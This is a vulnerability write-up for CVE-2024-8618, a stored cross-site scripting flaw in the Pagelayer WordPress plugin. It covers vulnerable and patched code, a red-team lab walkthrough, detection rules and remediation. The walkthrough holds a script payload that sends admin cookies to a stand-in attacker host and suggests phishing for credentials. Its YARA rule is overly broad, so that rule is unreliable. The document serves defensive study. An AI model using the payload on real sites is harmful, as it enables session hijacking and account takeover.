CVE-2024-8618
Executive Summary
CVE-2024-8618 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.9.0. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed for lower-level administrators, as it bypasses this restriction. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. The plugin is widely used for drag-and-drop page building, making this a significant supply chain risk for WordPress ecosystems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides within the WordPress plugin ecosystem, specifically in the Pagelayer plugin. As a third-party component, it introduces risk to any WordPress site using the plugin. The lack of sanitization in settings handling means that even with restricted capabilities, an attacker with admin access can persist malicious code. This underscores the need for rigorous code review and input validation in plugin development.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD base score not assigned; calculated as 4.8 Medium based on vector)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires admin privileges but can lead to persistent compromise of the WordPress admin interface.
Deep Dive & Mechanics
The vulnerability exists in the Pagelayer plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. In WordPress, the unfiltered_html capability is typically granted only to super admins in multisite networks. However, this plugin fails to respect that restriction, allowing any admin (including those without unfiltered_html) to inject arbitrary HTML and JavaScript.
The attack flow:
- An attacker with admin-level access navigates to the Pagelayer settings.
- They inject a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable setting field. - The plugin stores the payload without sanitization.
- When any admin (including the attacker or a victim) views the settings page, the script executes in their browser context.
This is a classic Stored XSS, where the payload persists across sessions and can affect multiple users.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.9.0):
// In settings page rendering
echo '<input type="text" name="pagelayer_setting" value="' . $setting_value . '" />';
Here, $setting_value is output directly without escaping, allowing script injection.
Patched Code (1.9.0):
// In settings page rendering
echo '<input type="text" name="pagelayer_setting" value="' . esc_attr( $setting_value ) . '" />';
The esc_attr() function escapes the value, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Install WordPress with Pagelayer plugin version < 1.9.0 on a local server (e.g., XAMPP).
- Prerequisites: Obtain admin credentials (e.g., via phishing or weak passwords).
- Steps:
- Log in as admin.
- Navigate to Pagelayer settings (e.g.,
/wp-admin/admin.php?page=pagelayer). - In a text field (e.g., "Custom CSS"), inject:
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Save settings.
- When another admin visits the settings page, the script executes, exfiltrating cookies.
Blue Team (Detection & Prevention)
- Monitor: Log admin actions on plugin settings pages.
- Harden: Disable unused plugins and enforce least privilege.
- Detect: Use WAF rules to block common XSS payloads in POST requests to
/wp-admin/admin.php?page=pagelayer.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/pagelayer/directory with version < 1.9.0. - Network: Outbound HTTP requests to unknown domains from admin sessions.
- Logs: Suspicious entries in WordPress debug log (if enabled) showing script tags in settings.
- Database: Rows in
wp_optionstable containingpagelayer_prefixed options with<script>tags.
Detection Engineering
YARA Rule
rule CVE_2024_8618_Pagelayer_XSS {
meta:
description = "Detects Pagelayer plugin files vulnerable to CVE-2024-8618"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8618"
strings:
$vuln_func = "value=\"" nocase
$plugin_path = "pagelayer" nocase
condition:
$plugin_path and #vuln_func > 0
}
Sigma Rule
title: Pagelayer Stored XSS Detection
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential exploitation of CVE-2024-8618 in Pagelayer plugin
logsource:
category: application
product: wordpress
detection:
selection:
http.url: "*admin.php?page=pagelayer*"
http.method: "POST"
http.body: "*<script>*"
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8618 Pagelayer Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=pagelayer"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Pagelayer plugin to version 1.9.0 or later.
- Workaround: If upgrade is not possible, restrict admin access to trusted users only and disable the plugin on multisite networks.
- Long-term: Implement input validation and output escaping in all custom plugins. Use WordPress coding standards and tools like
esc_attr(),esc_html(), andwp_kses(). - Monitoring: Enable WordPress audit logging to track changes to plugin settings.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.